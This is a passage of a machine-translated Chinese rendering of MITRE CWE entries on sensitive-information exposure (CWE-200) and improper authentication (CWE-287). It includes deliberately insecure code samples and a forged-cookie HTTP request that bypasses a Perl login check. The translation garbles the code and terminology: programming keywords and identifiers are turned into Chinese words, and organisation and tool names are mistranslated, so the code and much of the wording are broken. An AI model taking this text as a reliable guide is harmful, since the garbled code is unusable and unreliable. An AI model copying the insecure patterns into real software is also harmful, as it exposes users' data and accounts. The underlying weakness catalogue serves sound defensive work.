+相关的视图”研究概念”(cwe - 1000)
自然 类型 ID 的名字
ChildOf 类类——一个弱点,描述的是一个非常抽象的时尚,通常独立于任何特定的语言或技术。更具体的比一个支柱的弱点,但更普遍的基本的弱点。类级别的弱点通常描述问题的1或2以下维度:行为、财产和资源。 668年 曝光资源错误的球体
ParentOf 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 201年 敏感信息插入发送数据
ParentOf 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 203年 可观察到的差异
ParentOf 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 209年 代的包含敏感信息的错误消息
ParentOf 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 213年 由于不兼容的政策暴露敏感信息
ParentOf 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 215年 敏感信息插入调试代码
ParentOf 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 359年 暴露私人个人信息未经授权的演员
ParentOf 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 497年 接触敏感的系统信息未经授权的控制范围
ParentOf 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 538年 敏感信息插入可外部访问文件或目录
ParentOf 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 1258年 接触敏感的系统信息由于未清偿调试信息
ParentOf 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 1273年 设备开启共享凭证
ParentOf 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 1295年 调试消息暴露不必要的信息
光束 变体变体——一个弱点与某种类型的产品,通常涉及到一个特定的语言或技术。更具体的比基本的弱点。变异水平弱点通常描述问题的3到5以下维度:行为、财产、技术、语言,和资源。 498年 可克隆类包含敏感信息
光束 变体变体——一个弱点与某种类型的产品,通常涉及到一个特定的语言或技术。更具体的比基本的弱点。变异水平弱点通常描述问题的3到5以下维度:行为、财产、技术、语言,和资源。 499年 可序列化的类包含敏感数据
光束 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 1272年 敏感信息未清偿前调试/功率状态转换
部分帮助此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
+简化映射的相关视图”缺点漏洞发布”(cwe - 1003)
自然 类型 ID 的名字
ParentOf 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 203年 可观察到的差异
ParentOf 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 209年 代的包含敏感信息的错误消息
ParentOf 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 532年 敏感信息插入日志文件
+模式的介绍
部分帮助不同模式的引入提供了信息如何以及何时可以纳入这一弱点。生命周期的阶段识别点的介绍可能发生,而相关的报告提供了一个典型的场景介绍在给定的阶段。
阶段 请注意
架构和设计
实现
+适用的平台
部分帮助该清单显示了给定的弱点可以可能的地区出现。这些可能是为特定命名的语言,操作系统,架构、模式、技术、或一个类这样的平台。列出的平台是随着频率的出现疲态实例。

语言

类:不是特定于语言的患病率(待定)

技术

类:移动患病率(待定)

+常见的后果
部分帮助这个表指定不同的个人相关后果的弱点。标识应用程序范围的安全领域侵犯,而影响了负面的技术影响,如果敌人成功利用这个弱点。可能提供的信息如何可能的具体结果预计将看到列表中相对于其它后果。例如,可能会有高可能性,缺点将被利用来实现一定的影响,但较低的可能性,它将被利用来实现不同的影响。
范围 影响 可能性
保密

技术的影响:读取应用程序数据

+利用的可能性
+示范例子

示例1

下面的代码检查的有效性提供的用户名和密码并通知用户的成功或失败的登录。

(坏的代码)
例如语言:Perl
我的$ username =参数(用户名);
我的密码美元=参数(“密码”);

如果(IsValidUsername(用户名)= = 1)
{
如果(IsValidPassword(用户名、密码)美元= = 1)
{
打印“登录成功”;
}
其他的
{
打印“登录失败,不正确的密码”;
}
}
其他的
{
打印“登录失败,未知的用户名”;
}

在上面的代码中,当一个不正确的用户名有不同的信息提供,而当用户名是正确的,但密码是错误的。这种差异使潜在的攻击者了解登录的状态函数,并可能允许攻击者发现一个有效的用户名通过尝试不同的值,直到返回不正确的密码信息。本质上,这使得攻击者更容易获得必要的身份验证凭证的一半。

虽然这种类型的信息对用户是有用的,也有用一个潜在的攻击者。在上面的示例中,消息都失败的情况下应该是一样的,如:

(结果)
“登录失败,错误的用户名或密码”

示例2

这段代码试图打开一个数据库连接,并打印任何发生的异常。

(坏的代码)
例如语言:PHP
尝试{
openDbConnection ();
}
/ /打印异常消息,包括异常消息和配置文件的位置
捕获(异常$ e) {
呼应了例外:,$ e - > getMessage (), ' \ n ';
回声,检查凭证在配置文件:“Mysql_config_location美元,' \ n ';
}

如果发生异常,则打印消息暴露的位置配置文件脚本使用。攻击者可以利用这些信息来目标配置文件(可能利用路径遍历的弱点)。如果文件可以读取,攻击者可以获得凭证访问数据库。攻击者还可以用恶意替换文件,导致应用程序使用一个任意的数据库。

示例3

在下面的示例中,该方法getUserBankAccount从数据库检索一个银行帐户对象使用提供的用户名和账号来查询数据库。如果一个SQLException提出查询数据库时,将创建一个错误消息输出到日志文件。

(坏的代码)
例如语言:Java
公共BankAccount getUserBankAccount(用户名的字符串,字符串accountNumber) {
BankAccount userAccount =零;
字符串查询=零;
尝试{
如果(isAuthorizedUser(用户名)){
查询= " SELECT *从账户所有者= "
+用户名+”和accountID = " + accountNumber;
DatabaseManager dbManager = new DatabaseManager ();
连接康涅狄格州= dbManager.getConnection ();
=声明支撑conn.createStatement ();
ResultSet queryResult = stmt.executeQuery(查询);
userAccount = (BankAccount) queryResult.getObject (accountNumber);
}
}捕捉(SQLException ex) {
字符串logMessage = "无法从数据库检索帐户信息,\ nquery:”+查询;
Logger.getLogger (BankManager.class.getName ()) . log(水平。严重,logMessage、交货);
}
返回userAccount;
}

创建的错误信息包括数据库查询的信息可能包含敏感信息的数据库或查询逻辑。在本例中,错误消息将公开数据库中使用的表名和列名。这些数据可以用来简化其他的攻击,如SQL注入(cwe - 89)直接访问数据库。

示例4

这个代码存储位置有关当前用户的信息:

(坏的代码)
例如语言:Java
locationClient = new locationClient(这个,这个,这个);
locationClient.connect ();
currentUser.setLocation (locationClient.getLastLocation ());


捕获(异常e) {
AlertDialog。Builder builder = new AlertDialog.Builder(this);
构建器。setMessage(“对不起,这个应用程序经历了一个错误。”);
AlertDialog警报= builder.create ();
alert.show ();
日志。e (“ExampleActivity”、“捕获异常:“+ e +“在用户:”+ User.toString ());
}

当应用程序遇到异常用户对象写入日志。因为用户对象包含位置信息,用户的位置也写入到日志。

示例5

下面是一个实际的MySQL错误语句:

(结果)
例如语言:SQL
警告:永久链接():拒绝访问的用户:‘root@localhost /usr/local/www/wi-data/includes/database.(使用密码:N1nj4)公司在4号线

错误显然暴露数据库证书。

例子6

这段代码在网页上显示一些信息。

(坏的代码)
例如语言:JSP
社会安全号码:< % = ssn % > < / br >信用卡号码:< % = ccn % >

代码显示一个用户的信用卡和社会安全号码,即使他们并不是绝对必要的。

例7

下面的程序基于调试标记改变它的行为。

(坏的代码)
例如语言:JSP
< %如果(Boolean.getBoolean (“debugEnabled”)) {
% >
用户帐号:< % = acctNo % >
< %
}% >

代码写敏感的调试信息到客户端浏览器如果“debugEnabled”标志被设置为true。

示例8

这段代码使用位置来确定用户的当前我们国家的位置。

首先应用程序必须声明,它需要在应用程序的manifest.xml ACCESS_FINE_LOCATION许可:

(坏的代码)
例如语言:XML
< uses-permission android: name = " android.permission.ACCESS_FINE_LOCATION " / >

在执行期间,调用getLastLocation()将返回一个基于位置的应用程序的位置的权限。在这种情况下,应用程序允许最准确的位置:

(坏的代码)
例如语言:Java
locationClient = new locationClient(这个,这个,这个);
locationClient.connect ();
userCurrLocation位置;
userCurrLocation = locationClient.getLastLocation ();
deriveStateFromCoords (userCurrLocation);

当应用程序需要这些信息,它不需要使用ACCESS_FINE_LOCATION许可,随着ACCESS_COARSE_LOCATION许可足以识别哪些我们国家的用户。

+观察到的例子
参考 描述
枚举的有效用户名不一致的反应
帐号枚举通过不一致的反应。
用户通过差异枚举错误消息。
Telnet协议允许服务器从客户获得敏感的环境信息。
脚本调用phpinfo(),揭示系统配置web用户
产品设置不同的TTL港口时比当它没有被过滤,过滤,允许远程攻击者识别过滤港口通过TTL比较。
版本控制系统允许远程攻击者决定任意的文件和目录的存在通过- x命令另一个历史文件,导致不同的错误信息返回。
虚拟机允许恶意网站运营商决定的存在文件在客户端通过测量延迟getSystemResource的执行方法。
产品立即发送一个错误消息当用户不存在,它允许远程攻击者通过计时攻击来确定有效的用户名。
POP3服务器显示密码在多个APOP命令后发送一条错误消息。可能结果从另一个弱点。
程序显示密码错误消息,如果攻击者可以触发特定的数据库错误。
复合材料:高特权运行的应用程序(cwe - 250)允许用户指定一个限制文件过程中,会生成一个解析错误,泄漏文件的内容(cwe - 209)。
直接请求在web应用程序触发库文件路径名泄漏在错误消息。
畸形的regexp语法暴露会导致信息的错误消息。
密码在调试信息。
FTP客户端启用了调试选项显示密码到屏幕上。
协作平台并不清楚团队的邮件响应,允许泄露的电子邮件地址
+潜在的缓解措施

阶段:体系结构和设计

策略:分离的特权

划分系统“安全”领域信任边界可以明确。不允许走出信任边界和敏感数据时总是小心与舱外的安全区域。

确保适当的划分是建立到系统设计,划分允许和强化特权分离功能。建筑师和设计师应该依靠最小特权原则来决定适当的时间使用特权和特权。

+弱点Ordinalities
Ordinality 描述
(缺点是一个质量问题,可能会间接更容易引入的安全相关的弱点或使他们更难检测)
开发人员可能插入敏感信息,他们不相信,或者他们可能忘记删除敏感信息后加工
合成
(缺点是一个质量问题,可能会间接更容易引入的安全相关的弱点或使他们更难检测)
单独的错误或缺点可能无意中使攻击者可用的敏感信息,比如在一个详细的错误消息,可以读到一个未经授权的聚会
+检测方法

自动静态分析——二进制或字节码

根据飙升,以下检测技术可能是有用的:

成本有效的部分报道:
  • 字节码的弱点分析,包括反汇编程序+源代码弱点分析
  • 应用程序之间的流分析

有效性:飙升部分

动态分析与自动化的结果解释

根据飙升,以下检测技术可能是有用的:

高成本效益:
  • Web应用程序扫描
  • Web服务的扫描仪
  • 数据库扫描仪

有效性:高

动态分析与人工解释结果

根据飙升,以下检测技术可能是有用的:

成本有效的部分报道:
  • 模糊测试
  • 基于框架Fuzzer
  • 自动化监控执行
  • 监控虚拟环境——在沙箱中运行潜在的恶意代码/包装/虚拟机,看看它任何可疑的

有效性:飙升部分

人工静态分析源代码

根据飙升,以下检测技术可能是有用的:

高成本效益:
  • 手工源代码审查(不检查)

有效性:高

自动静态分析源代码

根据飙升,以下检测技术可能是有用的:

高成本效益:
  • Context-configured源代码分析器
成本有效的部分报道:
  • 源代码缺陷分析仪

有效性:高

体系结构或设计审查

根据飙升,以下检测技术可能是有用的:

高成本效益:
  • 正式的方法/ Correct-By-Construction
成本有效的部分报道:
  • 攻击建模
  • 检验(IEEE 1028标准)(适用于需求、设计、源代码,等等)。

有效性:高

+会员资格
部分帮助这MemberOf关系表显示额外CWE类别和视图引用这个弱点作为成员。这些信息通常是有用的在理解一个弱点符合外部信息源的上下文中。
自然 类型 ID 的名字
MemberOf 视图视图——CWE条目的一个子集,它提供了一种检查CWE的内容。两个主要视图结构片(列表)和图(包含条目之间的关系)。 635年 最初使用的弱点NVD从2008年到2016年
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 717年 OWASP 2007年十大类别A6——信息泄漏和错误处理不当
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 963年 SFP二级集群:公开数据
MemberOf 视图视图——CWE条目的一个子集,它提供了一种检查CWE的内容。两个主要视图结构片(列表)和图(包含条目之间的关系)。 1003年 弱点简化映射的漏洞发布
MemberOf 视图视图——CWE条目的一个子集,它提供了一种检查CWE的内容。两个主要视图结构片(列表)和图(包含条目之间的关系)。 1200年 弱点在2019 CWE最危险的软件错误
MemberOf 视图视图——CWE条目的一个子集,它提供了一种检查CWE的内容。两个主要视图结构片(列表)和图(包含条目之间的关系)。 1337年 2021 CWE最危险软件的弱点的弱点
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 1345年 OWASP 2021年十大类别A01:2021——破碎的访问控制
MemberOf 视图视图——CWE条目的一个子集,它提供了一种检查CWE的内容。两个主要视图结构片(列表)和图(包含条目之间的关系)。 1350年 2020 CWE最危险软件的弱点的弱点
+笔记

映射

使用映射:气馁(CWE ID不应该用来映射到实际的漏洞)。

理由是:cwe - 200常被误用来表示损失的机密性的弱点,但保密损失是一个技术的影响,而不是一个根源的错误。CWE 4.9,超过400 CWE条目会导致机密性的丧失。其他选项通常是可用的。(ref - 1287]。

评论:如果一个错误或错误导致信息披露,然后使用CWE ID的错误。考虑从授权不当(cwe - 285),不安全的权限(cwe - 732),不适当的身份验证(cwe - 287)等。还要考虑孩子等敏感信息插入发送数据(cwe - 201),可观察到的差异(cwe - 203),敏感信息插入可外部访问文件或目录(cwe - 538),或者其他人。

维护

映射分析的结果在2020年的前25位,最近的版本中,这个弱点正在审查,因为它是经常滥用映射来掩盖很多问题,导致损失的机密性。看到映射指出,扩展描述和备选项。
+分类法映射
映射分类名称 节点ID 适合 映射节点名
千鸟 信息泄漏(信息披露)
OWASP十大2007 A6 CWE更具体 信息泄漏和错误处理不当
WASC 13 信息泄漏
+引用
Chris Wysopal [ref - 172]。“移动应用前10名名单”。2010-12-13。<http://www.veracode.com/blog/2010/12/mobile-app-top-10-list/>。
(ref - 1287)主教法冠。“补充细节- 2022 CWE前25”。的细节问题映射。2022-06-28。<https://cwe.mitre.org/top25/archive/2022/2022_cwe_top25_supplemental.html problematicMappingDetails>。
+内容的历史
+提交
提交日期 提交者 组织
2006-07-19 千鸟
+贡献
贡献的日期 贡献者 组织
2022-07-11 尼克·约翰斯顿
识别不正确的语言标签在示范例子。
+修改
修改日期 修饰符 组织
2008-07-01 Eric Dalci Cigital
更新Time_of_Introduction
2008-09-08 CWE内容团队 主教法冠
更新Likelihood_of_Exploit、关系、Taxonomy_Mappings Weakness_Ordinalities
2008-10-14 CWE内容团队 主教法冠
更新描述
2009-12-28 CWE内容团队 主教法冠
更新Alternate_Terms、描述的名字
2010-02-16 CWE内容团队 主教法冠
更新Taxonomy_Mappings
2010-04-05 CWE内容团队 主教法冠
更新Related_Attack_Patterns
2011-03-29 CWE内容团队 主教法冠
更新描述、人际关系
2011-06-01 CWE内容团队 主教法冠
更新Common_Consequences
2012-05-11 CWE内容团队 主教法冠
更新Related_Attack_Patterns、人际关系
2012-10-30 CWE内容团队 主教法冠
更新Potential_Mitigations
2013-02-21 CWE内容团队 主教法冠
更新Alternate_Terms Applicable_Platforms,引用
2014-06-23 CWE内容团队 主教法冠
更新Related_Attack_Patterns
2014-07-30 CWE内容团队 主教法冠
更新Detection_Factors、人际关系
2015-12-07 CWE内容团队 主教法冠
更新的关系
2017-05-03 CWE内容团队 主教法冠
更新Related_Attack_Patterns
2017-11-08 CWE内容团队 主教法冠
更新的引用
2019-01-03 CWE内容团队 主教法冠
更新Related_Attack_Patterns
2019-06-20 CWE内容团队 主教法冠
更新Related_Attack_Patterns、人际关系
2019-09-19 CWE内容团队 主教法冠
更新Demonstrative_Examples Observed_Examples,关系
2020-02-24 CWE内容团队 主教法冠
更新Applicable_Platforms、Demonstrative_Examples、描述、名称、Observed_Examples, Related_Attack_Patterns,关系,Weakness_Ordinalities
2020-06-25 CWE内容团队 主教法冠
更新的关系
2020-08-20 CWE内容团队 主教法冠
更新Alternate_Terms、描述Maintenance_Notes Related_Attack_Patterns,关系
2020-12-10 CWE内容团队 主教法冠
更新Potential_Mitigations
2021-07-20 CWE内容团队 主教法冠
更新的关系
2021-10-28 CWE内容团队 主教法冠
更新的关系
2022-10-13 CWE内容团队 主教法冠
更新Demonstrative_Examples Maintenance_Notes Observed_Examples,引用
+以前的条目名称
改变日期 以前的条目名称
2009-12-28 信息泄漏(信息披露)
2020-02-24 信息曝光

cwe - 287:不适当的身份验证

弱点ID: 287
抽象:
结构:简单的
视图定制的信息:
+描述
当一个演员宣称已经给定的身份,产品不能证明或不够证明这种说法是正确的。
+替代条款
认证:
另一个词是“认证”,这似乎是最常用的非英语国家的人。
AuthN:
“AuthN”通常是用作缩写web应用程序安全社区内的“认证”。它也不同于“AuthZ”,这是一个缩写的“授权”。The use of "Auth" as an abbreviation is discouraged, since it could be used for either authentication or authorization.
AuthC:
“AuthC”作为简称“身份验证”,但它似乎经常使用小于“AuthN。”
+的关系
部分帮助此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
+相关的视图”研究概念”(cwe - 1000)
自然 类型 ID 的名字
ChildOf 支柱支柱——一个弱点是最抽象类型的弱点和代表一个主题类/基地/变体相关弱点。支柱是不同于一个类别作为支柱技术上仍然是一种弱点,描述了一个错误,而一个类别代表一个共同特征用于组相关的东西。 284年 访问控制不当
ParentOf 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 295年 不适当的证书验证
ParentOf 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 306年 失踪的身份验证的重要功能
ParentOf 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 645年 过分严格的帐户锁定机制
ParentOf 类类——一个弱点,描述的是一个非常抽象的时尚,通常独立于任何特定的语言或技术。更具体的比一个支柱的弱点,但更普遍的基本的弱点。类级别的弱点通常描述问题的1或2以下维度:行为、财产和资源。 1390年 弱的身份验证
光束 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 613年 会话过期不足
部分帮助此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
+简化映射的相关视图”缺点漏洞发布”(cwe - 1003)
自然 类型 ID 的名字
ParentOf 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 290年 认证绕过被欺骗
ParentOf 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 294年 认证绕过被捕获——重放
ParentOf 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 295年 不适当的证书验证
ParentOf 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 306年 失踪的身份验证的重要功能
ParentOf 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 307年 不当限制过度的身份验证
ParentOf 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 521年 弱密码要求
ParentOf 类类——一个弱点,描述的是一个非常抽象的时尚,通常独立于任何特定的语言或技术。更具体的比一个支柱的弱点,但更普遍的基本的弱点。类级别的弱点通常描述问题的1或2以下维度:行为、财产和资源。 522年 保护不足的凭证
ParentOf 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 640年 弱密码恢复机制忘记密码
ParentOf 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 798年 使用硬编码的凭证
部分帮助此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
+相关视图”架构概念”(cwe - 1008)
自然 类型 ID 的名字
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 1010年 验证的演员
部分帮助此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
+相关的视图”方案及数据保护措施”(cwe - 1340)
自然 类型 ID 的名字
ChildOf 支柱支柱——一个弱点是最抽象类型的弱点和代表一个主题类/基地/变体相关弱点。支柱是不同于一个类别作为支柱技术上仍然是一种弱点,描述了一个错误,而一个类别代表一个共同特征用于组相关的东西。 284年 访问控制不当
+模式的介绍
部分帮助不同模式的引入提供了信息如何以及何时可以纳入这一弱点。生命周期的阶段识别点的介绍可能发生,而相关的报告提供了一个典型的场景介绍在给定的阶段。
阶段 请注意
架构和设计
实现 实现:造成这一弱点在建筑安全策略的实施。
+适用的平台
部分帮助该清单显示了给定的弱点可以可能的地区出现。这些可能是为特定命名的语言,操作系统,架构、模式、技术、或一个类这样的平台。列出的平台是随着频率的出现疲态实例。

语言

类:不是特定于语言的患病率(待定)

技术

类:ICS /不(通常是普遍的)

+常见的后果
部分帮助这个表指定不同的个人相关后果的弱点。标识应用程序范围的安全领域侵犯,而影响了负面的技术影响,如果敌人成功利用这个弱点。可能提供的信息如何可能的具体结果预计将看到列表中相对于其它后果。例如,可能会有高可能性,缺点将被利用来实现一定的影响,但较低的可能性,它将被利用来实现不同的影响。
范围 影响 可能性
完整性
保密
可用性
访问控制

技术的影响:阅读应用程序数据;获得特权或假设的身份;执行未经授权的代码或命令

这个弱点的暴露会导致意想不到的演员资源或功能,可能为攻击者提供敏感信息甚至执行任意代码。
+利用的可能性
+示范例子

示例1

下面的代码将确保用户已登录。如果不是这样,代码执行身份验证的用户提供的用户名和密码。如果成功,它集loggedin和用户cookie“记住”,用户已经登录。最后,代码执行管理员任务如果登录用户的用户名“管理员”,记录在用户cookie。

(坏的代码)
例如语言:Perl
我问= new CGI美元;

如果美元(q - >饼干(loggedin)不“真实”){
如果(!AuthenticateUser (q - >参数(用户名),$ q - >参数('密码'))){
ExitError(“错误:你需要登录第一”);
}
其他{
#设置loggedin和用户cookie。
q - >饼干(美元
- name = > ' loggedin ',
值= >“真正的”
);

q - >饼干(美元
- name = >“用户”,
美元价值= > q - >参数(用户名)
);
}
}

如果美元(q - >饼干(“用户”)情商“管理员”){
DoAdministratorTasks ();
}

不幸的是,这段代码可以绕过。攻击者可以独立设置cookie,这样代码不检查用户名和密码。攻击者可以用一个HTTP请求包含标题,如:

(攻击代码)
/目录/脆弱。cgi HTTP / 1.1
饼干:用户=管理员
饼干:loggedin = true

(身体的请求)

通过设置loggedin饼干“真正的”,攻击者绕过整个身份验证检查。通过使用“管理员”价值在用户cookie,攻击者也获得权限管理软件。

示例2

2009年1月,攻击者能够获得管理员访问Twitter的服务器,因为服务器不限制登录尝试的数量(ref - 236]。攻击者针对Twitter的支持团队的一员,能够成功地猜成员的密码使用蛮力攻击猜测大量常用单词。后获得的成员支持人员,攻击者使用管理员面板进入33账户属于名人和政客。最终,假的Twitter消息被发送,似乎来自于账户被盗。

示例2引用:
(ref - 236)金Zetter。“弱密码带来的“幸福”Twitter黑客”。2009-01-09。<http://www.wired.com/threatlevel/2009/01/professed-twitt/>。

示例3

2022年,OT:冰崩研究调查了10个不同的操作技术(OT)供应商的产品。研究人员报道,56个漏洞,说产品是“不安全的设计”(ref - 1283]。如果这些漏洞利用,往往让对手改变产品运营,从拒绝服务改变产品执行的代码。因为这些产品经常被应用于行业,如电力、电气、水,和其他人,甚至会出现安全问题。

多个供应商不使用任何身份验证或使用客户端身份验证关键功能的产品。

+观察到的例子
参考 描述
面向身份验证代理不执行密码身份验证在最初的握手,允许客户端绕过身份验证通过指定一个“没有”的身份验证类型。
链:为Python RPC Web UI框架不使用regex锚来验证用户登录电子邮件(cwe - 777),可能允许绕过OAuth (cwe - 1390)。
基于tcp协议在可编程逻辑控制器(PLC)没有认证。
状态监控使用的协议,它不需要身份验证。
安全检测系统使用专有TCP协议没有认证。
分布式控制系统(DCS)使用一种协议,没有身份验证。
SCADA系统只使用客户端身份验证,让对手模仿其他用户。
链:面向HTTP代理服务器使用错误的布尔操作符(cwe - 480)导致一个不正确的比较(cwe - 697)确定一个authN失败如果所有三个条件得到满足,而不是只有一个,允许绕过代理身份验证(cwe - 1390)
链:云计算虚拟化平台不需要身份验证上传的tar格式文件(cwe - 306),然后使用. .路径遍历序列(CWE-23)在文件访问意想不到的文件,如利用每中钢协KEV在野外。
管理产品不执行身份验证一些REST API请求,每中钢协KEV利用在野外。
默认设置在工作流管理产品允许所有API请求不需要身份验证,每中钢协KEV利用在野外。
基于堆栈缓冲区溢出的SFK wifi芯片用于物联网/嵌入式设备,每中钢协KEV利用在野外。
邮件服务器没有正确执行Powershell命令之前检查一个访问令牌,每中钢协KEV利用在野外。
链:用户不提示输入第二个身份验证因素(cwe - 287当改变的情况下他们的用户名(cwe - 178),利用每中钢协KEV在野外。
认证绕过,特定的参数和值添加到一个URI,每中钢协KEV利用在野外。
邮件服务器没有安装期间生成一个唯一键,每中钢协KEV利用在野外。
LDAP去包允许使用空密码认证绕过,导致未经过身份验证的LDAP绑定
留言板的登录脚本允许绕过身份验证通过设置“login_ok”参数为1。
管理脚本允许认证绕过通过设置cookie值“LOGGEDIN”。
VOIP产品允许认证绕过使用127.0.0.1主机头。
产品采用默认“允许”的行动,而不是默认的否认,导致认证绕过。
链:重定向不退出(cwe - 698)导致合成认证绕过。
产品并没有限制访问一个监听端口为一个关键服务,允许绕过身份验证。
产品不正确地实现一个与安全相关的配置设置,允许绕过身份验证。
身份验证例程返回“零”而不是“false”在某些情况下,允许认证绕过使用一个无效的用户名。
身份验证时更新脚本不妥善处理管理不选择任何身份验证模块,允许绕过身份验证。
使用LDAP身份验证与匿名绑定导致空密码导致成功的身份验证
产品认证成功如果用户提供的MD5哈希匹配的散列数据库;这可以被重放攻击。
链:产品产生可预见的MD5散列使用恒定值加上用户名,允许绕过身份验证。
+潜在的缓解措施

阶段:体系结构和设计

策略:库或框架

使用身份验证框架或库如OWASP ESAPI身份验证功能。
+检测方法

自动静态分析

自动静态分析是用于检测特定类型的身份验证。一个工具可以分析相关的配置文件,比如. htaccess在Apache web服务器中,或检测常用的验证库的使用。

一般来说,自动静态分析工具很难检测自定义的身份验证方案。此外,软件的设计可能包括一些功能,任何用户都可以访问,不需要一个确定的身份;自动化技术,检测没有身份验证可能报告假阳性。

有效性:有限

人工静态分析

这个弱点可以检测使用的工具和技术,需要手动(人类)的分析,如渗透测试、威胁建模和交互工具,允许测试人员记录和修改一个活跃的会话。

人工静态分析是有用的评估自定义身份验证机制的正确性。

有效性:高

注意:这些可能是更有效的比严格的自动化技术。尤其如此弱点设计和相关的业务规则。

人工静态分析——二进制或字节码

根据飙升,以下检测技术可能是有用的:

成本有效的部分报道:
  • 二进制/字节码反汇编程序,然后使用手动分析缺陷和异常

有效性:飙升部分

动态分析与自动化的结果解释

根据飙升,以下检测技术可能是有用的:

成本有效的部分报道:
  • Web应用程序扫描
  • Web服务的扫描仪
  • 数据库扫描仪

有效性:飙升部分

动态分析与人工解释结果

根据飙升,以下检测技术可能是有用的:

成本有效的部分报道:
  • 模糊测试
  • 基于框架Fuzzer

有效性:飙升部分

人工静态分析源代码

根据飙升,以下检测技术可能是有用的:

成本有效的部分报道:
